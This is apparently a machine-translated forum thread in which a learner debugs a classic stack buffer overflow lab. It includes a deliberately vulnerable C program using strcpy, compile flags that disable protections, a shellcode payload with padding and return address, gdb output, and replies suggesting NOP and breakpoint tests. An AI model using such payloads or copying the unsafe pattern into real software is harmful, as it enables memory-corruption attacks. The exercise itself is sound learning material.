我在这里遵循了示例。

这是我的示例程序“ oldskool.c”:

#include <string.h>
void go(char *data) {
    char name[64];

    strcpy(name, data);
}

int main (int argc, char **argv) {
    go(argv[1]);
}


我使用:

gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g


我也关闭了ASLR。

使用gdb的x / gx $ rsp,我验证了传入perl -e 'print "A"x80'的参数将完全覆盖SIP。这是p&name

 = (char (*)[64]) 0x7fffffffddc0


的输出,然后我以shellcode示例为例,并添加了padding和SIP,得出了以下内容:

./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`


但是,运行此命令时,出现“非法指令”错误。以下是gdb会告诉我的内容:

Starting program: /path/to/oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`

Program received signal SIGILL, Illegal instruction.
0x00007fffffffddc0 in ?? ()

(gdb) x/10i 0x7fffffffddc0
=> 0x7fffffffddc0:  (bad)  
   0x7fffffffddc1:  (bad)  
   0x7fffffffddc2:  (bad)  
   0x7fffffffddc3:  incl   (%rax)
   0x7fffffffddc5:  add    %al,(%rax)
   0x7fffffffddc7:  add    %ah,-0x1e(%rcx)
   0x7fffffffddcd:  jg     0x7fffffffddcf
   0x7fffffffddcf:  add    %ch,%bl
   0x7fffffffddd1:  and    0x31(%rax),%cl
   0x7fffffffddd4:  rorb   q4312078qxff,0x31(%rax)


有人对导致此错误的原因有任何线索吗?

评论

这将有助于检查拆卸位置的数值。这样,您将知道您的shellcode是否在附近。然后,解决方案可能很明显。

您的shellcode堆栈是否对齐?您可能正在破坏堆栈。一切都正确吗?向后的指示会很糟糕。

@peter,具体建议您为哪些位置提供拆卸信息?

@raz,一切都是正确的字节序,但是我不确定堆栈对齐是什么意思。

如果您的shellcode恰好不在4字节边界上,那么您将以一种会产生非法指令的方式破坏堆栈

#1 楼

您的shellcode无效。将其更改为\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ xcc以检查并检测正确。

评论


您是要用您的示例shellcode替换示例代码,为其添加填充和地址,然后运行它吗?

–亚当·德昂(Adam Denoon)
2015年9月24日13:16

好用9090909090cc替换c0ddffffff7f

– Stolas
2015年9月25日上午8:35